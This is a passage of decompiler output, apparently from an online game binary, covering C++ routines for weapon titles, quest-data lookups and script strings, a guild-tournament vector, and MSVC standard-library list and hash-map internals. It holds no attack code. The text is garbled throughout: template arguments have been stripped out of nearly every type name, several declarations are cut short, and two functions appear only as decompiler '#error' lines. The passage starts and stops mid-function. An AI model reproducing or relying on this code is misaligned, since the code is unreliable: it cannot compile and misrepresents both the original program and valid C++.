unsigned int *pLevel) { unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // eax@2 WEAPON_TITLE_DATA *result; // eax@3 v4 = CWeaponTitle::GetLevel(this, MobID, MobKillCount); *pLevel = v4; if ( v4 != -1 && (v6 = v4 + 10 * MobID, (unsigned int)v6 < *(_DWORD *)(v5 + 64)) ) result = *(WEAPON_TITLE_DATA **)(*(_DWORD *)(v5 + 60) + 4 * v6); else result = 0; return result; } //----- (0056E8F0) -------------------------------------------------------- void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this) { CWeaponTitle *v1; // esi@1 v1 = this; if ( this->m_ppWTDArray ) { operator delete__(this->m_ppWTDArray); v1->m_ppWTDArray = 0; } v1->m_MaxArrayIndex = 0; CDataReader::_CDataReader(&v1->m_WeaponTitleData); } //----- (0056E920) -------------------------------------------------------- bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName) { char *v2; // esi@1 signed int v3; // edi@5 bool result; // al@9 v2 = buf; if ( buf && deletedCharName ) { if ( buf != deletedCharName ) _mbsnbcpy(buf, deletedCharName, 0x10u); v3 = 16; do { if ( !_mbsnbcmp(v2, "~", 1u) ) *v2 = 0; ++v2; --v3; } while ( v3 ); result = 1; } else { result = 0; } return result; } //----- (0056E970) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index) { QUEST_DATA_HEAD *v2; // eax@1 unsigned __int16 v3; // ax@2 QUEST_DATA *result; // eax@5 v2 = this->m_pDataHead; if ( v2 ) v3 = v2->NumOfQuest; else v3 = 0; if ( Index < v3 ) result = this->m_ppQuestDataArray[Index]; else result = 0; return result; } //----- (0056E9A0) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::clear(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 std::_List_nod,std::allocator > >::_Node *v2; // ecx@1 void *v3; // eax@1 bool v4; // zf@1 void *v5; // edi@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v1->_Myhead->_Prev = v1->_Myhead; v4 = v3 == v1->_Myhead; v1->_Mysize = 0; if ( !v4 ) { do { v5 = *(void **)v3; operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (0056E9E0) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) result->_Next = result; if ( result != (std::_List_nod,std::allocator > >::_Node *)-4 ) result->_Prev = result; return result; } //----- (0056EA00) -------------------------------------------------------- std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val) { std::_List_nod,std::allocator > >::_Node *result; // eax@1 result = (std::_List_nod,std::allocator > >::_Node *)operator new(0x10u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; *(_DWORD *)&result->_Myval.first = *(_DWORD *)&_Val->first; result->_Myval.second = _Val->second; } return result; } //----- (0056EA30) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 v1 = this; std::list_std::allocator>>::clear(this); operator delete(v1->_Myhead); v1->_Myhead = 0; } //----- (0056EA50) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval) { unsigned int v3; // edx@1 const unsigned __int16 v4; // si@1 int v5; // eax@1 std::list,std::allocator > >::iterator *v6; // edx@3 int v7; // edi@3 int v8; // eax@3 std::list,std::allocator > >::iterator *v9; // eax@6 int _Keyvala; // [sp+Ch] [bp+8h]@7 v3 = this->_Mask; v4 = *_Keyval; v5 = v3 & (*_Keyval ^ 0xDEADBEEF); if ( this->_Maxidx <= v5 ) v5 += -1 - (v3 >> 1); v6 = this->_Vec._Myfirst; v7 = *(_DWORD *)&v6[v5 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v8 = *(_DWORD *)&v6[v5].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v8 == v7 ) { LABEL_6: v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } else { while ( *(_WORD *)(v8 + 8) < v4 ) { v8 = *(_DWORD *)v8; if ( v8 == v7 ) goto LABEL_6; } _Keyvala = v8; if ( v4 >= *(_WORD *)(v8 + 8) ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } else { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_List._Myhead; } } return v9; } //----- (0056EAF0) -------------------------------------------------------- int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...) { std::list,std::allocator > >::iterator *v4; // eax@1 std::list,std::allocator > >::iterator *v5; // esi@2 std::list,std::allocator > >::iterator *v6; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator **)&_First != _First._Myfirst ) { v5 = this->_Mylast; v6 = *(std::list,std::allocator > >::iterator **)&_First; if ( _First._Myfirst != v5 ) { do { *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&v4->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v4; ++v6; } while ( v4 != v5 ); } this->_Mylast = v6; } v7 = result; *(_DWORD *)&result->baseclass_0._Alval.baseclass_0.dummy[0] = *(_DWORD *)&_First; return v7; } //----- (0056EB30) -------------------------------------------------------- QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 QUEST_DATA *result; // eax@2 CQuestData *iter; // [sp+0h] [bp-4h]@1 iter = this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, (std::list,std::allocator > >::iterator *)&iter, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)iter == v2->m_hashmap_QuestData.baseclass_0._List._Myhead ) result = 0; else result = (QUEST_DATA *)iter->m_pBF; return result; } //----- (0056EB60) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v5; // [sp+4Ch] [bp-4h]@2 v2 = this->_Mysize; if ( 536870911 - v2 < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0056EC00) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0056EC70) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptStart(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 600); else v4 = v2->m_pNULLSTR; return v4; } //----- (0056ECC0) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptDoing(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 604); else v4 = v2->m_pNULLSTR; return v4; } //----- (0056ED10) -------------------------------------------------------- const char *__thiscall CQuestData::GetQuestScriptEnd(CQuestData *this, unsigned __int16 QuestID) { CQuestData *v2; // esi@1 int v3; // eax@2 const char *v4; // eax@3 std::list,std::allocator > >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::list,std::allocator > >::iterator)this; v2 = this; stdext::_Hash>_std::allocator>_0>>::lower_bound( &this->m_hashmap_QuestData.baseclass_0, &result, &QuestID); if ( (std::_List_nod,std::allocator > >::_Node *)result != v2->m_hashmap_QuestData.baseclass_0._List._Myhead && (v3 = *(_DWORD *)(*(_DWORD *)&result + 12)) != 0 ) v4 = *(const char **)(v3 + 608); else v4 = v2->m_pNULLSTR; return v4; } //----- (0056ED60) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v5; // edx@1 std::list,std::allocator > >::iterator v6; // ecx@1 int v7; // eax@2 std::list,std::allocator > >::iterator *v8; // ebx@4 int v9; // ecx@6 int v10; // ecx@11 int v11; // eax@15 int v12; // ecx@18 int v13; // eax@22 void *v14; // edi@25 std::list,std::allocator > >::iterator *v15; // ST14_4@25 std::list,std::allocator > >::iterator *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::list,std::allocator > >::iterator *v19; // eax@31 std::list,std::allocator > >::iterator *v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 std::list,std::allocator > >::iterator *v24; // ST20_4@32 int v25; // ebx@32 std::list,std::allocator > >::iterator *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-10h] [bp-28h]@31 int v28; // [sp-Ch] [bp-24h]@1 void *_Newvec; // [sp+0h] [bp-18h]@25 int v30; // [sp+4h] [bp-14h]@25 int *v31; // [sp+8h] [bp-10h]@1 int v32; // [sp+14h] [bp-4h]@25 int _Counta; // [sp+20h] [bp+8h]@31 std::list,std::allocator > >::iterator *_Dest; // [sp+24h] [bp+Ch]@31 v4 = this; v5 = this->_Myfirst; v6 = *_Where._Mylast; v31 = &v28; _Where._Mylast = (std::list,std::allocator > >::iterator *)v6; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; v8 = _Where._Myfirst; if ( _Where._Myfirst ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (std::list,std::allocator > >::iterator *)(1073741823 - v9) < _Where._Myfirst ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v7 >= (unsigned int)((char *)_Where._Myfirst + v10) ) { v19 = v4->_Mylast; v20 = *(std::list,std::allocator > >::iterator **)&_Where; v21 = (std::list,std::allocator > >::iterator *)((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2) < _Where._Myfirst; v22 = 4 * (unsigned int)_Where._Myfirst; *(_DWORD *)&_Where.baseclass_0._Alval.baseclass_0.dummy[0] = 4 * (unsigned int)_Where._Myfirst; v27.dummy[0] = 4 * LOBYTE(_Where._Myfirst); _Where._Myfirst = v4->_Mylast; if ( v21 ) { std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v20, v19, &v20[v22 / 4], &v4->baseclass_0._Alval, v27); v23 = (unsigned int)((char *)v8 - (v4->_Mylast - v20)); v24 = v4->_Mylast; v32 = 2; std::vector>::_Ufill( v4, v24, v23, (std::list,std::allocator > >::iterator *)&_Where._Mylast); v25 = (int)((char *)v4->_Mylast + _Counta); v4->_Mylast = (std::list,std::allocator > >::iterator *)v25; std::fill( v20, (std::list,std::allocator > >::iterator *)(v25 - _Counta), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } else { v26 = &v19[-v22 / 4u]; v4->_Mylast = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( &v19[-v22 / 4u], v19, v19, &v4->baseclass_0._Alval, v27); std::copy_backward_std::allocator>>::iterator___std::list_std::allocator>>::iterator__>( v20, v26, _Dest); std::fill( v20, (std::list,std::allocator > >::iterator *)((char *)v20 + _Counta), (std::list,std::allocator > >::iterator *)&_Where._Mylast); } } else { if ( 1073741823 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < (unsigned int)((char *)_Where._Myfirst + v12) ) { if ( v5 ) v13 = v4->_Mylast - v5; else v13 = 0; v11 = (int)((char *)_Where._Myfirst + v13); } v30 = 4 * v11; v14 = operator new(4 * v11); v15 = v4->_Myfirst; _Newvec = v14; v32 = 0; _Where._Myfirst = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v15, *(std::list,std::allocator > >::iterator **)&_Where, (std::list,std::allocator > >::iterator *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Where._Myfirst, (unsigned int)v8, (std::list,std::allocator > >::iterator *)&_Where._Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( *(std::list,std::allocator > >::iterator **)&_Where, v4->_Mylast, &_Where._Myfirst[(_DWORD)v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0._Alval.baseclass_0.dummy[0]); v16 = v4->_Myfirst; if ( v16 ) v17 = v4->_Mylast - v16; else v17 = 0; v18 = (int)((char *)v8 + v17); if ( v16 ) operator delete(v4->_Myfirst); v4->_Myend = (std::list,std::allocator > >::iterator *)((char *)v14 + v30); v4->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v14 + 4 * v18); v4->_Myfirst = (std::list,std::allocator > >::iterator *)v14; } } } //----- (0056EFA0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val) { std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Count ) { if ( _Count > 0x3FFFFFFF ) std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(this); v4 = operator new(4 * _Count); v3->_Myend = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); v3->_Myfirst = (std::list,std::allocator > >::iterator *)v4; v3->_Mylast = (std::list,std::allocator > >::iterator *)v4; v8 = 0; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v4, _Count, _Val, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Count); v3->_Mylast = (std::list,std::allocator > >::iterator *)((char *)v4 + 4 * _Count); } } //----- (0056F050) -------------------------------------------------------- void __thiscall stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this) { stdext::hash_multimap >,std::allocator > > *v1; // esi@1 int v2; // esi@3 v1 = this; if ( this->baseclass_0._Vec._Myfirst ) operator delete(this->baseclass_0._Vec._Myfirst); v1->baseclass_0._Vec._Myfirst = 0; v1->baseclass_0._Vec._Mylast = 0; v1->baseclass_0._Vec._Myend = 0; v2 = (int)&v1->baseclass_0._List; std::list_std::allocator>>::clear((std::list,std::allocator > > *)v2); operator delete(*(void **)(v2 + 4)); *(_DWORD *)(v2 + 4) = 0; } //----- (0056F090) -------------------------------------------------------- #error "56F0CE: positive sp value has been found (funcsize=27)" //----- (0056F100) -------------------------------------------------------- #error "56F145: positive sp value has been found (funcsize=28)" //----- (0056F150) -------------------------------------------------------- void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 char *v4; // edi@1 v3 = this; this->baseclass_0.comp.comp.baseclass_0.dummy[0] = _Parg->comp.baseclass_0.dummy[0]; v4 = (char *)&this->_List; this->_List._Myhead = std::list_std::allocator>>::_Buynode(&this->_List); *((_DWORD *)v4 + 2) = 0; _Parg = (stdext::hash_compare > *)v3->_List._Myhead; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n( &v3->_Vec, 9u, (std::list,std::allocator > >::iterator *)&_Parg); v3->_Mask = 1; v3->_Maxidx = 1; } //----- (0056F1D0) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,1> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // ecx@12 int v14; // edx@12 int v15; // ebx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 int v18; // eax@16 std::_List_nod,std::allocator > >::_Node *v19; // ebx@19 std::_List_nod,std::allocator > >::_Node *v20; // eax@19 std::_List_nod,std::allocator > >::_Node *v21; // eax@19 unsigned int i; // eax@20 std::list,std::allocator > >::iterator *v23; // ecx@21 std::_List_nod,std::allocator > >::_Node *v24; // ebx@21 int v25; // ecx@21 std::pair *v26; // ebp@27 const unsigned __int16 v27; // dx@27 unsigned int v28; // ecx@27 int v29; // eax@27 std::list,std::allocator > >::iterator *v30; // ecx@29 int v31; // ebx@29 int v32; // edi@29 std::_List_nod,std::allocator > >::_Node *v33; // ebp@35 int v34; // ecx@35 std::pair,std::allocator > >::iterator,bool> *v35; // eax@38 int _Vala; // [sp+1Ch] [bp+8h]@29 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { v18 = v14; if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v18 ) break; --v18; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v19 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v19; v19->_Prev->_Next = v16; v20 = v19->_Prev; v19->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v20; v21 = v3->_List._Myhead; v16 = v21->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v21; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v25 = v16 ) { v23 = v3->_Vec._Myfirst; v24 = *(std::_List_nod,std::allocator > >::_Node **)&v23[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v25 = (int)&v23[i]; if ( v24 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v26 = _Val; v27 = _Val->first; v28 = v3->_Mask; v29 = v28 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v29 ) v29 += -1 - (v28 >> 1); v30 = v3->_Vec._Myfirst; v31 = v29; v32 = *(_DWORD *)&v30[v29 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v29; if ( v32 != *(_DWORD *)&v30[v29].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { while ( 1 ) { v32 = *(_DWORD *)(v32 + 4); if ( *(_WORD *)(v32 + 8) <= v27 ) break; if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) goto LABEL_35; } if ( *(_WORD *)(v32 + 8) < v27 ) v32 = *(_DWORD *)v32; } LABEL_35: v33 = std::list_std::allocator>>::_Buynode( &v3->_List, (std::_List_nod,std::allocator > >::_Node *)v32, *(std::_List_nod,std::allocator > >::_Node **)(v32 + 4), v26); std::list_std::allocator>>::_Incsize( &v3->_List, 1u); *(_DWORD *)(v32 + 4) = v33; v33->_Prev->_Next = v33; v34 = *(_DWORD *)(v32 + 4); if ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v31].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; if ( !_Vala ) break; --_Vala; v31 = _Vala; } while ( v32 == *(_DWORD *)&v3->_Vec._Myfirst[_Vala].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v35 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v34; result->second = 1; return v35; } //----- (0056F400) -------------------------------------------------------- std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val) { stdext::_Hash >,std::allocator >,0> > *v3; // esi@1 unsigned int v4; // edi@1 std::list,std::allocator > >::iterator *v5; // edx@2 std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *v8; // edx@6 int v9; // eax@7 std::list,std::allocator > >::iterator v10; // edx@9 int v11; // eax@9 unsigned int v12; // eax@10 std::list,std::allocator > >::iterator *v13; // ecx@12 int v14; // edx@12 int v15; // ebx@12 std::_List_nod,std::allocator > >::_Node *v16; // edi@12 std::_List_nod,std::allocator > >::_Node *v17; // ebp@15 int v18; // eax@16 std::_List_nod,std::allocator > >::_Node *v19; // ebx@19 std::_List_nod,std::allocator > >::_Node *v20; // eax@19 std::_List_nod,std::allocator > >::_Node *v21; // eax@19 unsigned int i; // eax@20 std::list,std::allocator > >::iterator *v23; // ecx@21 std::_List_nod,std::allocator > >::_Node *v24; // ebx@21 int v25; // ecx@21 std::pair *v26; // ebp@27 const unsigned __int16 v27; // dx@27 unsigned int v28; // ecx@27 int v29; // eax@27 std::list,std::allocator > >::iterator *v30; // ecx@29 int v31; // ebx@29 int v32; // edi@29 std::_List_nod,std::allocator > >::_Node *v33; // ebp@32 int v34; // ecx@32 std::pair,std::allocator > >::iterator,bool> *v35; // eax@35 int _Vala; // [sp+1Ch] [bp+8h]@29 v3 = this; v4 = this->_Maxidx; if ( v4 <= this->_List._Mysize >> 2 ) { v5 = this->_Vec._Myfirst; v6 = &this->_Vec; if ( v5 ) v7 = v3->_Vec._Mylast - v5; else v7 = 0; if ( v7 - 1 > v4 ) { v12 = v3->_Mask; if ( v12 < v4 ) v3->_Mask = 2 * v12 + 1; } else { v8 = v3->_Vec._Myfirst; if ( v8 ) v9 = v3->_Vec._Mylast - v8; else v9 = 0; v10 = (std::list,std::allocator > >::iterator)v3->_List._Myhead; v11 = 2 * v9 - 3; v3->_Mask = v11; std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize( v6, v11 + 2, v10); } v13 = v3->_Vec._Myfirst; v14 = v3->_Maxidx - (v3->_Mask >> 1) - 1; v15 = v14; v16 = *(std::_List_nod,std::allocator > >::_Node **)&v13[v14].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v13[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { if ( (v3->_Mask & (v16->_Myval.first ^ 0xDEADBEEF)) == v14 ) { v16 = v16->_Next; } else { v17 = v16->_Next; if ( v16->_Next != v3->_List._Myhead ) { v18 = v14; if ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v15].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { do { *(_DWORD *)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v17; if ( !v18 ) break; --v18; } while ( v16 == *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v18].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } v19 = v3->_List._Myhead; v16->_Prev->_Next = v17; v17->_Prev->_Next = v19; v19->_Prev->_Next = v16; v20 = v19->_Prev; v19->_Prev = v17->_Prev; v17->_Prev = v16->_Prev; v16->_Prev = v20; v21 = v3->_List._Myhead; v16 = v21->_Prev; *(_DWORD *)&v3->_Vec._Myfirst[v3->_Maxidx + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v21; } for ( i = v3->_Maxidx; v14 < i; *(_DWORD *)v25 = v16 ) { v23 = v3->_Vec._Myfirst; v24 = *(std::_List_nod,std::allocator > >::_Node **)&v23[i].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v25 = (int)&v23[i]; if ( v24 != v3->_List._Myhead ) break; --i; } if ( v17 == v3->_List._Myhead ) break; v16 = v17; } v15 = v14; } while ( v16 != *(std::_List_nod,std::allocator > >::_Node **)&v3->_Vec._Myfirst[v14 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ); } ++v3->_Maxidx; } v26 = _Val; v27 = _Val->first; v28 = v3->_Mask; v29 = v28 & (_Val->first ^ 0xDEADBEEF); if ( v3->_Maxidx <= v29 ) v29 += -1 - (v28 >> 1); v30 = v3->_Vec._Myfirst; v31 = v29; v32 = *(_DWORD *)&v30[v29 + 1].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; _Vala = v29; if ( v32 != *(_DWORD *)&v30[v29].baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] ) { 